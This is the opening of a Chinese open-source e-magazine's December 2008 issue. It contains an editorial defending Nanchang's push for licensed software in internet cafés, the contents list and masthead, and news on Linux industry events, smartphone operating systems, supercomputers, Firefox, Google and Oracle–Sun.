You are on page 1of 118

封面

卷首语

南昌网吧正版化是否被恶意渲染?
12 月 3 日下午,在 PCworld.com,Linuxtoday 等国外媒体上出现了一系列
关于中国江西南昌网吧实行正版化的报道,“无线自由亚洲”记者 Ding Xiao 在
“It`s Linux-or Else,in Parts of China”一文中表示南昌市文化局与中
科 红 旗 Linux 江 西 分 销 商 签 订 了 协 议 , 要 求 南 昌 600 余 家 网 吧 一 律 安 装 红 旗
Linux,并且一次性地支付 5000 人民币,如果想换成其他的操作系统,答案是“这
是盗版”。

从这篇国外的报道中,我们能读出两个讯息,第一是中国在江西省南昌网吧打
击盗版,并且力度不小;第二个讯息就是打击的目的是强制使用中科红旗 Linux 操
作系统。第一个讯息想必大家都是支持的,但第二个讯息就存在问题了:为什么打击
盗版非得强买强卖,为什么非得锁定在某一家的正版操作系统呢?

看了这篇报道后,我产生了两个疑问:第一个疑问是此次事件是否是政府借打
击盗版之名强制网吧业主购买某一家的正版操作系统?第二个疑问则是,报道中明确
指出选用中科红旗 Linux,网吧的应用集中在大型网络游戏,而目前的网络游戏都
没有 Linux 客户端,此举是否欠缺考虑,打击盗版不讲策略,脱离市场需求,步子
迈的太大、太急,甚至一味蛮干呢?

12 月 4 日,部分国内媒体也开始关注此事,此时,中科红旗有人站出来澄清了
事实,根据官方的说法,我所疑惑的两个地方都得到了答案:第一,南昌文化局是打
击盗版是针对网吧服务器,对客户端暂时没有限制;第二,提供了 2 种经过文化局测
试的推荐平台(微软 Windows 和红旗 Linux),可以自由选择。同时,在网上已经
出现了南昌市文化局"关于推进全市网吧使用正版软件工作的通知"的文件影印版,
里面很清晰地表达了这个观点。

这就对了,第一个说法表示南昌打击盗版是有策略的,而不是不顾网吧业主的
实际情况。第二个说法就显得更为清晰,政府是推荐使用,而不是强制使用,同时,
推荐使用也列出了两个操作系统。为什么没列出更多,我个人认为其他的操作系统厂


oss.linuxpk.com 源 2008 年第 12 期 2
卷首语
商销售力量没跟上,或者说在政府测试平台的时候没有主动予以联系,因此未予列出,
而一些社区版 Linux,目前由于政府采购等一系列规定的限制,还无法正式列入名
单。

因此,外媒的报道有不实的地方,文章所谓的强制使用只是推荐使用,并且文
章中没有出现任何区分桌面版和服务器版的地方,让人产生误解。同时,对于政府推
荐使用微软 windows 也只字未提,这可能来自于两方面原因:一是微软 Windows
价格过高,单方面的将微软 Windows 的推荐予以了忽略,这也体现了 Linux 的价格
优势。第二个原因则是主观上恶意渲染中国实施正版化的行为,这很容易让人联想到
目前的中欧关系,以及今年初期 CNN 对中国的恶意报道事件。

网吧正版化是我国软件正版化道路的必经之路,南昌市文化局敢为天下先,率
先在本市予以推广,这是一件应该得到广泛支持的行为,结果确遇到了很大的阻力。
阻力更多的来自于网吧业主,平时几块钱一张的盗版盘就能搞定的事,如今得支付
5000 人民币,肯定有人不情愿了。此外,在江西论坛上有一种说法就是政府不允许
安装社区 Linux 发行版,被认为是“盗版”(当然这只是来自论坛的一种说法),
社区 Linux 肯定不是“盗版”,但在我国政府采购法中,社区 Linux 一直不能作为
采购对象,一是定价的问题,二是售后服务的问题,因此,这应该是制定政府采购政
策相关部门考虑的,是一个长期的策略问题,而不应该成为此次推行正版化的说辞。

此次南昌市文化局是顶着各方面压力的情况下做这件事,结果国内媒体还未关
注的时候,国外媒体已经炸开了花,甚至国内媒体的反应来源于国外媒体的大肆报道。
在这件事上,我们应该弄清楚事件原委,而不是听取外媒的一面之词,同时对网吧正
版化的执行过程予以监督。

正版化的路很长,但已经开始走了。


oss.linuxpk.com 源 2008 年第 12 期 3
主办:Linux 宝库
网址:www.linuxpk.com
官方下载地址:oss.linuxpk.com

主席:陆首群
专家委员会(按姓氏拼音为序)
陈怀临 宫敏 毛德操 倪光南 许洪波 袁萌
顾问委员会(按姓氏拼音为序)
白剑波 曹冬 陈绪 贾栋 李科研 毛文波

主编:陈杰
副主编:陈伟
排版:邹洋
封面设计:张亚运
编辑部:高延斌 姚欣宇 顾宏军
校对:戴彬 沈佩琪 王文龙 李彦荣 赵龙

声 明 :杂志部分内容来自开源社区及互联网,目的是加强开源文
化交流和开源应用传播,如存在版权问题,敬请联系,我们将在第一
时间进行处理。
致谢:本电子杂志由 OpenOffice 制作,并直接导出 PDF
文档,在此表示感谢 。
投稿信箱:opensource@linuxpk.com
目录

内容目录
卷首语
南昌网吧正版化是否被恶意渲染?.........................................................................................2
产业聚焦
LinuxWorld China 2008 成功举办 移动 Linux 成为新热点................................................7
Apache Met up/Bar camp 大会首次登录中国........................................................................9
陆首群谈智能手机操作系统...................................................................................................11
Gartner:85%公司正在使用开源软件...................................................................................12
30%小笔记本电脑预装 Linux Windows 销售低于预期.........................................................13
Linux 主导全球 Top500 超级计算机......................................................................................14
FireFox 四周年:份额四年增长 2.29 倍................................................................................15
谷歌正在秘密开发操作系统?...............................................................................................16
甲骨文最易成功收购 Sun?....................................................................................................18
“番茄、黑屏”后 开源软件将何去何从?.........................................................................19
备战 MID 大规模应用红旗软件推新品...................................................................................23
从 E-midinux 发布看 MID 多元化应用 ..................................................................................25
现在开始,创建未来...............................................................................................................27
MID 发展适合 web2.0 的发展趋势..........................................................................................28
开源通讯
红旗 Midinux 助力 BenQ S6 意大利上市................................................................................30
Novell 收购 Managed Objects 公司......................................................................................30
哈尔滨 Linux 用户组成立.......................................................................................................30
威盛发起超移动产业策略联盟 推迷你笔记本.....................................................................30
高校开源大赛巡展拉开红旗掀起 Linux 热潮.......................................................................31
百资科技投身迷你电脑与 Moblin 领域.................................................................................31
DeviceVM 推出采用 Splashtop NetBook...............................................................................31
红旗桌面 6.0 亮相中关村 20 年成就展..................................................................................31
Teradata 加快采用 SUSE Linux 进程....................................................................................32
DeviceVM 为 Moblin 提供即时启动、节能体验....................................................................32
恩信科技开源 ERP V760 于年底发布.....................................................................................32
番茄与黑屏事件带来契机 红旗 Linux 下载量突破千万.....................................................33
黑屏促中标普华 Linux 下载突破 30 万..................................................................................33
Novell 协助第三方 Linux 用户过渡到 SLES.........................................................................33
开源社区
GNOME 发布 2.25.2...................................................................................................................34
Moonlight:Linux 平台下的 Silverlight.............................................................................34
Firefox 扩展有望登陆 IE8 ...................................................................................................35


oss.linuxpk.com 2008 年第 12 期 5

目录
Chrome 最新开发版将支持多重 Profile .............................................................................36
gOS Cloud:浏览器式的操作系统 .........................................................................................37
新版 Opera Mini 支持 Android 平台 ....................................................................................38
集中点评红旗 2000 的 RedOffice ........................................................................................38
英特尔中国开源技术中心系列专访之一...............................................................................40
2008-2010 Linux's Golden Age................................................................................................42
知识学堂
Linux 必学的安装登录命令....................................................................................................45
Linux 的缔造者 Linus Torvalds................................................................................................54
经验技巧
Linux 一句话精彩问答............................................................................................................59
简明 IRC 使用入门...................................................................................................................63
7 个极具杀伤性的 Linux 命令 ..............................................................................................65
定制 Linux 系统环境变量........................................................................................................67
善用 Vi 编辑器.........................................................................................................................70
判断 Linux 系统是否被黑的方法 ..........................................................................................74
Linux 操作系统下实现远程开机 ..........................................................................................76
五款在 Linux 下好用的 HTML 编缉器......................................................................................77
如何扼制 fork 炸弹.................................................................................................................82
使用 yum 只获取 rpm 包不自动安装 ......................................................................................83
企业应用
Linux 路由器流量统计系统....................................................................................................84
Nginx+PHP+MySQL 双机互备全自动切换方案 ......................................................................91
Linux 系统内核防火墙研究及应用......................................................................................100
嵌入式
TimeStorm LDS 控制嵌入式 Linux.......................................................................................107
善用 proc 文件系统加快嵌入设备驱动调试 .....................................................................112
编读往来
Linuxpk.com 十一月十大热门帖..........................................................................................117


oss.linuxpk.com 2008 年第 12 期 6

产业聚焦

LinuxWorld China 2008 成功举办


移动 Linux 成为新热点

11 月 25 日至 26 日,LinuxWorld China 2008 在北京国宾酒店成功举办。2000 年,美国国际


数据集团(IDG)首次将 LinuxWorld 引入中国,每年举办一次。

中国开源软件推进联盟主席陆首群先生在致辞中表示,希望中国的更多软件企业加入到开源事业当
中来,共同推动中国开源软件、中国软件业的发展。包括 Intel、Red Hat、微软、上海中标软件、甲
骨文、Sun 公司、EMC 、IBM、法国电信、北京尚观科技、VirtualLogix、 LPI 在内的众多开源相关
企业与机构参与了此次大会。

一、新技术为 Linux 加速
经济形势并非刺激开源技术发展的唯一原因,SaaS、SOA、云计算等软件领域新技术的发展,也将
带动开源技术在企业中的应用。面对金融危机的冲击和全球经济下滑的影响,低成本的开源软件无疑会


oss.linuxpk.com 2008 年第 12 期 7

产业聚焦
更加受到用户青睐,毕竟这意味着节省一大笔开支。Linux 的运营模式同时与 SaaS 的理念相结合,为
企业选择自由可定制的服务,进一步节省 IT 开支。

现在,Linux 已经进入到企业的核心业务应用。正是像纽约证券交易所这样的很多大企业把核心业
务放在 Linux 这个平台来运行的事实来证明,Linux 完全脱离了企业应用试验阶段,真正进入企业核心
业务。

二、移动 Linux 成为新热点

英特尔亚太研发有限公司总经理兼首席研发官中国产品开发总经理梁兆柱博士
此次 Linuxworld 虽然稍显冷清,但 Intel 的展台人流确络绎不绝,展台摆放的 Netbook 便携电
脑和 MID 口袋电脑成为了人们的最爱。最主要的原因则是随着 Intel Atom 芯片的推出,掀起了一波“
小”电脑的购买热,Netbook、MID 已经成为新的亮点,便携电脑成为继传统笔记本后人手一台的 PC 设
备,而随着 MID 的上市发布,也即将成为人们手中的时尚玩物。

随着移动便携设备的流行,为 Linux 也带来了新的发展机会。在这个领域里,Linux 不仅能让大家


oss.linuxpk.com 2008 年第 12 期 8

产业聚焦
忘记使用习惯的弊端,更能发挥 Linux 定制能力强,应用丰富等特点,已经成为便携设备上非常重要的
操作系统。在 Intel 的展台上,我们能发现关于中科红旗 Midinux 操作系统的介绍,这是一款专门为
MID 定制优化的操作系统,已经能很好的运行在 Intel 的平台之上。

Apache Met up/Bar camp 大会首次登录中国


英特尔、中科红旗积极投身国际开源社区

Bar camp 热烈讨论


12 月 5-6 日,Apache 基金会与中国开源软件推进联盟共同主办
Apache Meet Up(5 日)和 Apache BarCamp Beijing(6 日)
在北京英特尔中国研发有限公司会议室举行。中国开源软件联盟主席
陆首群教授、Apache 基金会主席 Justin Erenkrantz、Apache
基金会财长 Jeff Aaron Farr、Apache 基金会重要成员 Noirin
Shirley、英特尔中国 Linux 与开源战略经理陈绪博士,以及中科
红旗产品市场部总监姜红等悉数出席。

本次会议由 Apache 基金会首次与中国开源软件推进联盟合作,


首次在中国举行关于 Apache 的相关活动。本次会议由英特尔中国研
发有限公司承办,北京中科红旗软件有限公司协办,两天的会议估计
有 300 人到场,气氛十分热烈。
Apache 基金会主席 Justin Erenkrantz
Apache 基金会主席 Justin Erenkrantz 在 Met Up 大会上着 精彩演讲


oss.linuxpk.com 2008 年第 12 期 9

产业聚焦
重 Apache 的组织模式和相关项目,目前作为独立非盈利机构的 Apache 基金会是由志愿者形成的组织,
同时也是全球化的虚拟组织,有超过 1000 名贡献者和 300 多名成员,托管了超过 70 个高质量的软件项
目。来自英特尔中国的 Harmony(Apache 站点的一个开源项目,开源 JAVA SDK)团队经理李晓峰在
大会上也发表了重要演讲,讲述了英特尔公司在 Harmony 上的巨大贡献和进展。

此次英特尔中国作为大会的承办方,第一次将 Apache 的大会引入了中国,并且为此做出了巨大贡


献,陈绪博士介绍到:“Apache 是开源领域非常成功的软件项目,也是一个开源项目成功的典范,目前
互联网上很大一部分机器都选用 Apache 作为 Web Server,但在中国,关于 Apache 讨论性质的会议
并不多,此次将 Apache 的会议带到中国,为中国广大试图了解或参与 Apache 项目的社区爱好者提供
了一次与 Apache 基金会的成员直接对话交流的机会,同时,也向 Apache 基金会展示了我们中国的开
源形象,告诉他们,Apache 在中国同样很受欢迎,并且应用非常广泛。”中科红旗作为此次大会的协办
方,姜红表达了中国开源企业愿意更多与国际开源社区交流、对话的愿望:“我们一直在与国际开源社
区进行交流合作,并且一直积极参与更多的国际社区活动。此次 apache 的大会在中国举行,为我们提
供了很好的机会,有了这样零距离的沟通,我们双方才能寻求到共同的合作点,有了切入点,我们企业
才能更好的融入社区,参与社区,为社区贡献我们作为开源企业的责任和义务。”

左: 中科红旗产品市场部总监姜红 中: Apache 基金会主席 Justin Erenkrantz 右: 英特尔中国


Linux 与开源战略经理陈绪博士


oss.linuxpk.com
源 2008 年第 12 期 10
产业聚焦

陆首群谈智能手机操作系统
2008 年全球手机产业陷于低谷,三大手机巨鳄(NOKIA、Motorola、三星)业绩下滑,但手机操
作系统的开发,竞争激烈,进入了白热化阶段。

2007 年,Palm Source 公司开发的黑莓(Black Barry)手机(一款专长于收发电子邮件的 3G


、GPS 手机)继续在欧美风行,并实现扩长;同年,Apple 公司开发的 iphone 手机(一款 3G,具有手
触摸屏、增加自然界面和丰富的应用软件的手机)异军突起; Google 公司推出 Android 手机平台(计
划于 2008 年发布基于 Android 平台的 Gphone 手机)。

Black Berry、iphone 内置的操作系统是闭源的;而 Android 平台是开源的,其操作系统的内


核是基于 Linux(执行 GPL 许可协议)的,其各种库函数和主要应用程序也是开源的,但采用了
Apache V2 许可协议。

2008 年,NOKIA 公司收购 Symbian 52%其他股东的股份,建立了 Symbian 基金会,在互联网上


设置 Symbian 平台,宣布将其源码开放(并将推出基于开源的 Symbian 手机),Symbian 手机平台将
免费供手机厂商使用(与 Google 的 Android 平台一样,以吸引更多终端厂商,并借助第三方力量增加
更丰富的应用)。

据讯,中国移动即将推出其研发的手机操作系统 OMS(Open Mobile System),它也是基于


Linux 内核,采用 Android 源码,其应用业务层将集成大量“中国移动”本地的业务,作为一款深度定


oss.linuxpk.com
源 2008 年第 12 期 11
产业聚焦
制手机(Ophone),与 Gphone 不同。

手机制造商、应用(内容)服务提供商或手机运行商都希望通过控制手机操作系统来控制未来移动
互联网的入口。

华为计划于 2009 年推出分别基于 Android 和 Symbian 操作系统的智能手机。

台湾宏达(HTC)原来为微软制造 Windows Mobile V6 智能手机(闭源操作系统),现在为


Google 制造 Gphone,年内产出 100 万部。

智能手机未来将向 5 个方向发展,1.在 Internet 上建立手机平台,开发智能手机。2.采用开源技


术(要注意兼容性问题)。3.发展方向在 3G 和 4G。4.具有很多新的特色,比如手触摸屏、自然界面等,
以及丰富的本地的应用程序。5.建立起生态系统。

Gartner:85%公司正在使用开源软件

近日,著名市场调查机构 Gartner 表示,目前有 85%的公司已经在使用开源软件,而剩余的 15%在


明年也会选择开源软件,另外该机构还指出了阻碍开源软件发展的两大问题。

尽管使用开源软件的公司非常多,不过,在该分析机构所调查的公司中,只有 31%具有正式的方针
和策略来用于指导开源软件的评价和选用。

Gartner 在今年 5 月份和六月份发起了该调查,调查对象是 274 家终端用户组织机构,而不包括软


件厂商和对外服务提供商。这 274 家单位分别来自于亚太地区、欧洲和北美市场。在本周一,该分析机
构公布了这个调查的结果。

据 Gartner 表示,缺乏正式的方针可能会让使用开源软件的公司陷入知识产权侵权纠纷中。该分析
机构认为,管理控制问题是阻碍公司使用开源软件的最大障碍。 Gartner 的调查主管 Laurie Wuster
在报告中表示,“自由软件并不一定意味着没有成本,公司必须有一个方针来选用开源软件,判断哪些
应用可以通过开源软件来实现,并确定与开源软件相关的知识产权风险或技术支持风险。而一旦这样一
个方针被提出后,就需要一个管理控制过程来保证它的执行。”

开源软件面临的另一个挑战是,目前开源软件业存在太多的许可种类和形式,而且它们中的有些规


oss.linuxpk.com
源 2008 年第 12 期 12
产业聚焦
定是相互矛盾的。对于用户来说,真正搞明白它们是一个非常痛苦的过程。Wuster 认为,随着时间的发
展,这些问题将逐渐被解决,不过这可能是一个缓慢的过程。开源软件的更受欢迎和更加普及,最终将
会推动这一过程的发生。

据 gartner 表示,目前应用开源软件最多的领域是客户服务方面,不过,在企业综合业务、金融、
管理和业务分析等方面,开源软件也发展势头强劲。

30%小笔记本电脑预装 Linux
Windows 销售低于预期


oss.linuxpk.com
源 2008 年第 12 期 13
产业聚焦
近日,开源大师 Eric Raymond 发表题为“帝国坍倒之声”的文章,文中称在小笔记本电脑市场,
宏碁和华硕占据了大约 90%的市场份额,而其中 30%的小笔记本电脑预装 Linux 操作系统。

由于小笔记本电脑成本一般不足 500 美金,低价的优势使其成为 PC 领域增长最快的产业,而大量小


笔记本电脑预装 Linux 操作系统,抢占了 Windows 的市场,致使第四季度 Windows 销售低于预期。

Linux 主导全球 Top500 超级计算机


一年前当见到全球 Top500 超级计算机列表的时候,Linux 就
在全球 Top500 超级计算机中确立了主导地位。考虑到微软公司在
操作系统市场的地位,对于每半年都会被重新统计一次的
Top500,我就想下一次 Linux 是不是还会占据这样的位置。事实
上 在 高 性 能 计 算 机 (high performance computer) 领 域 ,
Linux 一直占据主导地位,那下一次的列表还会一样吗?答案是肯
定的。

最新的列表显示 Linux 占据统治地位,世界上前九位的超级


计算机都使用了 Linux 操作系统,使用 Linux 操作系统或者混合
Linux 操作系统的计算机达到 469 台,占有率为 93.8%。与去年
同期相比较提高了 10 台,当时占有率为 91.8%。

事实上 Linux 还是 Top500 中唯一能够使计算机盈利的操作


系统,最新列表显示开源操作系统的比例已经升至 87.8%,而
Unix 从 6%降至 4.6%,混合操作系统(mixed-OS)有 7.2%降至
6.2%,其他的操作系统包括 BSD,Mac OS 以及 Windows 相对于
2007 年都有不同程度的下降。

尽管 Linux 在 Top500 列表中继续增长,但我们也能看到一


些顶级的 Linux 提供商失去了原来的位置。SUSE Linux 从一年
前 的 62 席 降 至 52 席 , Red Hat 则 从 13 降 至 6 。 与 之 相 反
CentOS 升 至 5 席 , 占 有 1% 的 份 额 , 另 外 Debian 和 其 他 一 些
Linux 也占据了一些席位。

从 Top500 列表中还可以发现另外一个有趣的现象,2008 年 11 月的列表中已经看不见 Sun 的


Solaris 操作系统,而 2007 年 11 月还有两席,但是开源的 OpenSolaris 操作系统却有了一席之地。


oss.linuxpk.com
源 2008 年第 12 期 14
产业聚焦
决定高性能超级计算机的发展当然有很多因素,但是基于 Top500 列表的变化,以及我们从用户,
技术社区以及厂商那里了解到的,可以发现超级计算机的操作系统逐渐向 Linux 以及其他一些开源的操
作系统迁移,这一趋势并不会变慢或者受到阻碍。

FireFox 四周年:份额四年增长 2.29 倍


前不久火狐浏览器在全球浏览器市场的占有率突破 20%,与该领域的霸主 IE 浏览器间的差距正在不
断缩小。今天又是火狐浏览器发布的第四周年纪念日,确实值得 Mozilla 基金会为其好好庆祝一番。
2004 年火狐浏览器预览版一经推出便被 800 万用户下载,一个月后也即 11 月 9 日,Mozilla 基金会
宣布正式发布 Firefox 1.0 版。据 Mozilla 官方博客网站称,当时的 Firefox 1.0 所包括的功能只
有弹窗拦截、防止欺诈、集成搜索和标签式浏览。四年后,Firefox 几经改进,功能日益完善,新增了
密码管理、一键书签、智能定位栏、即时网站 ID、本地化外观平台和全屏功能。

四年间,火狐表现令人满意,一年上一个台阶,2004 年 12 月其在全球浏览器市场的占有率为 5%;


05 年 12 月则上升至 8%;06 年 12 月更是增至 11.59%;2007 年 12 月则是 15%,2008 年 10 月更是突
破 20%,较四年前扩大了 2.29 倍。如果火狐继续保持这样的增长速度,势必在下一个四年夺得 85.67%
的市场份额,到时微软 IE 浏览器和火狐的位置就该互换了。

以下为火狐等六大浏览器 2004 年 12 月与 2008 年 10 五年间的份额分布饼状图:

2004 年 12 月全球六大浏览器份额分布图

2008 年 10 月全球六大浏览器份额分布图

oss.linuxpk.com
源 2008 年第 12 期 15
产业聚焦

谷歌正在秘密开发操作系统?

据 internetnews.com 报道,国外市场研究公司 Net Applications 最新发布了操作系统的市


场报告。其中,微软 Windows 操作系统的市场份额首次跌破 90%。而更引人注目的是,该报告中的透露出
一些信息称,谷歌极可能已经在秘密研发自己的操作系统了。

Net Applications 营销部门的 Vince Vizzaccaro 说,他们通过软件探测程序随时监测在全球


4 万家网站上的网站流量及访问者相关信息。这些信息包括使用者所使用的操作系统、浏览器、 IP 地址、
域名、语言、屏幕分辨率以及访客是跟随哪一家搜索引擎的链接而来.

其中,来自 Google.com 的流量代表着 Google 公司员工的访问情况。他们在对 Google.com 进行


监测时,注意到了一些异常的情况:三分之二的谷歌员工都没有对自己的操作系统有意隐瞒,他们的访
问数据可以被监测系统记录下来。但是还有三分之一谷歌员工所使用的操作系统是无法识别的。由于
Net Applications 可以识别出几乎所有的主流操作系统,包括大多数的 Unix、Linux 系统以及目前
只在微软总部进行内测的 Windows 7,因此,这一情况或许表明,谷歌是在有意隐藏该操作系统。这一
推测也引发了多方的关注。


oss.linuxpk.com
源 2008 年第 12 期 16
产业聚焦
Vizzaccaro 称,他们从来没有见过一个剥离了用户代理信息的操作系统,因此他认为这一定是刻意
隐瞒,而这也并不是代理服务器。由于代理主机会将所有的信息屏蔽掉,而 Net Applications 的数
据显示,提到的三分之一的谷歌内部访客只屏蔽了操作系统信息,因此这并不是代理服务器所为。比如,这
些员工的浏览器信息就可以被探测到。而另外三分之二来自谷歌内部的访问使用的大多数都是 Linux 操
作系统。由此现在只能确定的是,有相当多来自谷歌内部的用户刻意隐藏了他们的操作系统信息。而操作
系统等软件在正式发布前通常都会进行内部测试,例如眼下微软就在其总部对 Windows 7 进行内测。

那么谷歌隐瞒的到底是什么呢?被问及这一问题时,谷歌表示,他们不打算对这样的谣言做出回应。
但是部分业内人士却认为,谷歌所隐瞒的或许就正是传言已久的基于“SaaS(软件即服务)”的谷歌操作系
统。

市场研究机构 Sageza 的总裁 Clay Ryder 则认为,谷歌应该是在开发一个应用程序的基础架构,


因为操作系统意味着需要将软件和硬件相互连接,这并不符合目前谷歌的业务。但如果开发一个网络应
用程序的基础架构,就比较符合谷歌的业务了。谷歌已经陆续推出了许多免费应用程序,但他觉得他们最
终还是希望从中获利。因此如果推出一个网络应用程序的基础架构,将会为谷歌获得更多的竞争优势。

而 Enderle 公司的首席分析师 Rob Enderle 认为,所谓的“谷歌操作系统”应该是 Android 操


作系统的一个拓展版本,谷歌大概是要把 Android 的概念拓展到 PC 领域。但这几位分析师都认定,谷歌

不会在操作系统领域与微软展开正面较量,因为这并不符合谷歌的既定目标。Ryder 认为,谷歌应该不
会进军桌面操作系统领域,但是网络应用程序基础架构则要有意义得多,因为这只是一种客户端的应用,


oss.linuxpk.com
源 2008 年第 12 期 17
产业聚焦
并不需要依赖硬件。

Enderle 则认为指出,谷歌在推出继 Google Apps、Chrome 浏览器以及谷歌工具条之后,所谓的


“操作系统”将是他们的最后一步,他们会借此将谷歌提供的所有工具都整合到一起。这种主义与
Android 类似,同样是一种底层的基础架构。要是广大用户都对谷歌的工具形成依赖,那么他们访问其
他服务的出发点就不再是微软,而是谷歌。这是一个非常有意义的商业战略,而且也是非常可行的一部商
业战略。但是他觉得目前将它推向市场还为稍微早了点,因为连 Chrome 浏览器还没有做好准备。

甲骨文最易成功收购 Sun?
唐宏梅
就在 Sun 这个昔日的太阳逐渐陨落的时候,业界纷纷开始猜测
其出路,收购与重组?怎样才是最好的路径?

一年前,就在 IBM 参股金蝶试水国内软件厂商时,原 SAP 负责


中小企业市场渠道的副总裁、现为上海乐勤管理咨询公司创始人黄
骁俭就曾向笔者分析,通常在两种情况下国外公司会采取并购策略:
一种被收购公司拥有核心的技术,这一核心技术是收购方所没有的;
另一种情况则为消灭竞争对手,即双方实力相当,产品与技术重叠,
但为了消除竞争压力,便做出收购决定。

在 被 称 为 收 购 狂 人 的 甲 骨 文 CEO 拉 里 · 埃 利 森
(LARRYELLISON)近几年所进行的多达 40 多项的并购案例中,不
乏收购其直接竞争对手仁科这样的公司,同时在技术互补性方面完
成最近一次对 BEA 的收购,巩固了其在中间件领域的绝对优势。

目前,通过大大小小的收购,昔日以数据库起家的甲骨文已经
发展成为包括操作系统、数据库、中间件、应用软件等从基础软件
平台到前端应用的全线产品。

计世资讯资深分析师许卫国认为,从竞争的角度来看,IBM、HP、微软、SAP 以及甲骨文都有可能
觊觎 Sun 这个正在陨落的“太阳”。如果这一假设成立的话,甲骨文是最有可能收购成功的。对于甲骨
文以往的收购策略,计世资讯副总经理曹开彬曾表示,甲骨文的收购具有很强的敌意,每次都树敌无数,
不过甲骨文已无法停下来。这也归结于以往甲骨文在收购策略上的“蛮横”与果敢。甲骨文高管曾对外
表示,“高频率收购是为了实现‘大而全’战略目标,树敌是为了自己的生存。”

2008 年年初,Sun 对外宣布以 10 亿美金收购开放源代码软件厂商 MySQL,那时候的 MySQL 年营收


oss.linuxpk.com
源 2008 年第 12 期 18
产业聚焦
预计在 2 亿美元左右,这在总产值为 150 亿美元的全球数据库市场不过是沧海一粟。国外媒体对此评论 ,
Sun 此次收购价格过高了。无论是从技术上还是用户拓展方面,MySQL 远远不能成对甲骨文数据库业务
的威胁者。

然而从业务互补性的角度来看,甲骨文如果收购 Sun,为其带来的收益并不会太明显。分析师许卫
国分析,双方业务方面没有直接加强的关系。同时,许卫国也表示,“但是甲骨文的产品都是基于 Java
技术的,收购了 Sun 之后,其产品在技术上会有更大的突破。而基于 Java 的 os、db 甚至服务器的销售
也会通过收购之后的资源整合实现 1+1 大于 2 的效果。”从这个角度来看,甲骨文收购 Sun 部分业务仍
然存在可能性。

目前,就甲骨文公司在应用软件领域的扩张来看,其收购的公司可以划分为三大类:技术软件类公
司、跨行业应用软件类公司以及行业应用软件类公司。

事实上,稳把数据库头把交椅的甲骨文已经在收购 BEA 之后取得了中间件领域的绝对优势,其在应


用软件领域的收购扩张也足以表露其“全面业务”战略野心,如果可以加固其在应用软件领域的优势,
甲骨文是会为其买单的,不过这样的买单仍然摆脱不了两个原则,消灭竞争对手,或者技术上的互补。

“番茄、黑屏”后 开源软件将何去何从?
陈杰

番茄花园、微软“黑屏”事件已经过去一段时日了,但至今我仍能感受到它们所带来的影响。最近
发现了两条有趣的新闻,从一个侧面体现了对开源软件领域带来的震动,一条来自于中标软件:“自 10
月 22 日起,中标软件在各大主流软件下载网站提供了中标普华 Linux 桌面个人版和中标普华 Office
办公软件个人版的免费下载,自产品上传截止到发稿时,据不完全统计,中标普华系列产品的个人用户


oss.linuxpk.com
源 2008 年第 12 期 19
产业聚焦
下载次数累计突破了 30 万次。”另外一条新闻来自中科红旗:“受微软番茄花园及黑屏计划的影响,根
据国内第三方社区 ChinaUnix 统计分析,在事件发生后,红旗 Linux 单日下载量持续保持在十万以上,
而红旗软件桌面版历年来总的下载量已经突破千万。”对于这组数据,我开始表示了怀疑,亲自登录该
社区网站查询,发现红旗 Linux 累计下载量已经达到千万次量级(18756924 次),这是一个很惊人的
数字,而据悉这只是来自一个社区,而没有包括红旗官方下载(根据服务器带宽利用率计算,每 5 秒就
有 1 个下载)统计在内。

以上两条新闻都来自于国产 Linux 厂商,而强调的都是“番茄”与“黑屏”两个事件为 Linux 所带


来契机,促使各自的 Linux 发行版下载量都成倍增长,由此可见微软反盗版的一系列行为对开源软件领
域造成的影响不仅重大,而且深远。尤其中国权威媒体 CCTV 东方时空栏目两次就此进行专题报道,并且
两度采访中科红旗总裁兼 CEO 贾栋,将开源操作系统 Linux 第一次大规模大范围的带到了公众的面前。
一方面为用户如何规避盗版软件,如何逃离“黑屏”指出了一种行之有效的解决方法,另一方面,也为
Linux 的普及创造了良好的舆论条件和公众基础。面对这样的机遇(开源深入普及、用户大量下载、舆
论广泛关注、公众殷殷期许),我国的开源软件何去何从?各大开源厂商应该如何通过自身的努力完成
用户从“不知道”到“不信任”到“信任”再到“信心”这样一种用户体验的转变呢?这将是下面要探
讨的内容。

一、资金支持与政府采购并行
记得在两年以前与中标软件副总裁秦勇一次交谈中,他就给我提到政府对中国的开源软件发展支持
力度不够,这种支持力度不够包括几个方面,一种是直接资金上的支持,二是没能为开源软件创造一个
理想的发展环境,三是在政府采购中,开源软件经常落于下风。对于提到的以上三点,我认为最重要的
支持将是来自于政府采购,资金支持是一时的,而政府采购则是长期的,倪光南院士在 03 年就发表了“
中国政府采购决定中国软件业发展”的讲话,可见政府采购在软件行业的作用是极其重要的。

在此说的争取政府采购的支持不是让政府单方面因为国产软件的原因而做出这样的决定,最近关于
政府采购开源软件在欧洲数国愈演愈烈,先是德国外交部宣布将 11000 台电脑全部换成 GNU/Linux 和
其它开源软件,并表示这一举措将使外交部相比其它部门大幅度的减少维护费用;随后荷兰经济事务部
宣布,荷兰政府各机构将采用可以自由分发和任何人都能够修改的开源软件,明年四月份为开始采用的
最终期限,并初步估算荷兰政府在转换为开源软件后,每年能够节省 880 万美元的费用。而在今年三月,
欧盟负责管理事务官员 Siim Kalas 的发言人 Valerie Rampi 在布鲁塞尔宣布,欧盟委员会将发布一
项“政策文件”,该文件规定:“在成本不高且有利于欧洲居民的前提下,购置开源软件政策必须得以
贯彻”。

由此可见,政府采购开源软件是大势所趋,这主要来自于两方面的考虑,其一是经济上的考虑,其
二则是安全上的考虑,我们应该通过这一系列事件去影响政府,说服政府,使得开源软件在政府采购中
能够有一定的话语权和主导权,同时,采购开源软件不仅仅存在于政府采购中,而应该延伸到各行业的


oss.linuxpk.com
源 2008 年第 12 期 20
产业聚焦
采购中,这将对我国开源的发展起着决定性的作用。

除了政府采购这一块,资金的支持也是少不了的,国家“核高基”计划投入大笔的资金在基础软件
这一块,目的是打造具有自主知识产权、具有主导地位的软件生态链,开源厂商也将从这次国家的重大
专项中争取到很大的资金支持。发展国产软件,支持国内开源软件厂商,这是国家信息化方面的重大举
措,但是这些通过纳税人来的钱应该投放到真正需要发展的开源厂商中,确保这笔钱是投入到开源软件
的研发上,投入到真正在做大开源软件市场的企业中,而绝对不能拿这笔钱去“改善企业的经营状况”。

二、占领大众桌面
Linux 在服务器端有着很好的表现,而在桌面端发展一直比较缓慢。几年前,用户一直强调桌面
Linux 门槛太高,用户体验太差,原因是多方面的,这包括了用户的使用习惯,应用软件相对匮乏,办
公系统兼容性有待改进等。而如今的桌面 Linux 已经取得了长足的进步,除了游戏在 Linux 下有待提高
外,正常的办公应用,桌面 Linux 已经能够轻松应付。

